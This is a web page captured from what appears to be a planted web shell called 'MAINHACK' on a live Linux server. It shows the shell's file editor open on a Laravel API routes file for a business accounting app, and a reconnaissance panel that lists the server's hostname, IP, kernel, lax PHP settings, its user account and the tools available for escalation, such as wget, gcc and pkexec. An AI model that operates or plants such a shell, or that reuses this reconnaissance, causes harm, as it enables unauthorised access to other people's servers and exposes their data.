[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api.php
<?php use App\Http\Controllers\Api as Api; use Illuminate\Support\Facades\Route; Route::prefix('v1')->group(function () { Route::post('/sign-in', [Api\Auth\AuthController::class, 'login']); Route::post('/submit-otp', [Api\Auth\AuthController::class, 'submitOtp']); Route::post('/sign-up', [Api\Auth\AuthController::class, 'signUp']); Route::post('/resend-otp', [Api\Auth\AuthController::class, 'resendOtp']); Route::post('/send-reset-code',[Api\Auth\AcnooForgotPasswordController::class, 'sendResetCode']); Route::post('/verify-reset-code',[Api\Auth\AcnooForgotPasswordController::class, 'verifyResetCode']); Route::post('/password-reset',[Api\Auth\AcnooForgotPasswordController::class, 'resetPassword']); Route::group(['middleware' => ['auth:sanctum']], function () { Route::get('summary', [Api\StatisticsController::class, 'summary']); Route::get('dashboard', [Api\StatisticsController::class, 'dashboard']); Route::apiResource('parties', Api\PartyController::class); Route::apiResource('users', Api\AcnooUserController::class)->except('show'); Route::apiResource('units', Api\UnitController::class)->except('show'); Route::apiResource('brands', Api\AcnooBrandController::class)->except('show'); Route::apiResource('categories', Api\AcnooCategoryController::class)->except('show'); Route::apiResource('products', Api\AcnooProductController::class)->except('show'); Route::apiResource('business', Api\BusinessController::class)->only('index', 'store', 'update'); Route::apiResource('business-categories', Api\BusinessCategoryController::class)->only('index'); Route::apiResource('purchase', Api\PurchaseController::class)->except('show'); Route::apiResource('sales', Api\AcnooSaleController::class)->except('show'); Route::apiResource('sales-return', Api\SaleReturnController::class)->only('index', 'store', 'show'); Route::apiResource('purchases-return', Api\PurchaseReturnController::class)->only('index', 'store', 'show'); Route::apiResource('invoices', Api\AcnooInvoiceController::class)->only('index'); Route::apiResource('dues', Api\AcnooDueController::class)->only('index', 'store'); Route::apiResource('expense-categories', Api\ExpenseCategoryController::class)->except('show'); Route::apiResource('expenses', Api\AcnooExpenseController::class)->only('index', 'store'); Route::apiResource('income-categories', Api\AcnooIncomeCategoryController::class)->except('show'); Route::apiResource('incomes', Api\AcnooIncomeController::class)->only('index', 'store'); Route::apiResource('banners', Api\AcnooBannerController::class)->only('index'); Route::apiResource('lang', Api\AcnooLanguageController::class)->only('index', 'store'); Route::apiResource('profile', Api\AcnooProfileController::class)->only('index', 'store'); Route::apiResource('plans', Api\AcnooSubscriptionsController::class)->only('index'); Route::apiResource('subscribes', Api\AcnooSubscribesController::class)->only('index'); Route::apiResource('currencies', Api\AcnooCurrencyController::class)->only('index', 'show'); Route::apiResource('vats', Api\AcnooVatController::class)->except('show'); Route::apiResource('payment-types', Api\PaymentTypeController::class)->except('show'); Route::get('business-settings', [Api\BusinessSettingController::class, 'index']); Route::post('bulk-uploads', [Api\BulkUploadControler::class, 'store']); Route::post('change-password', [Api\AcnooProfileController::class, 'changePassword'])->name('api.change-password'); Route::get('new-invoice', [Api\AcnooInvoiceController::class, 'newInvoice']); Route::get('/sign-out', [Api\Auth\AuthController::class, 'signOut']); Route::get('/refresh-token', [Api\Auth\AuthController::class, 'refreshToken']); }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.02 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002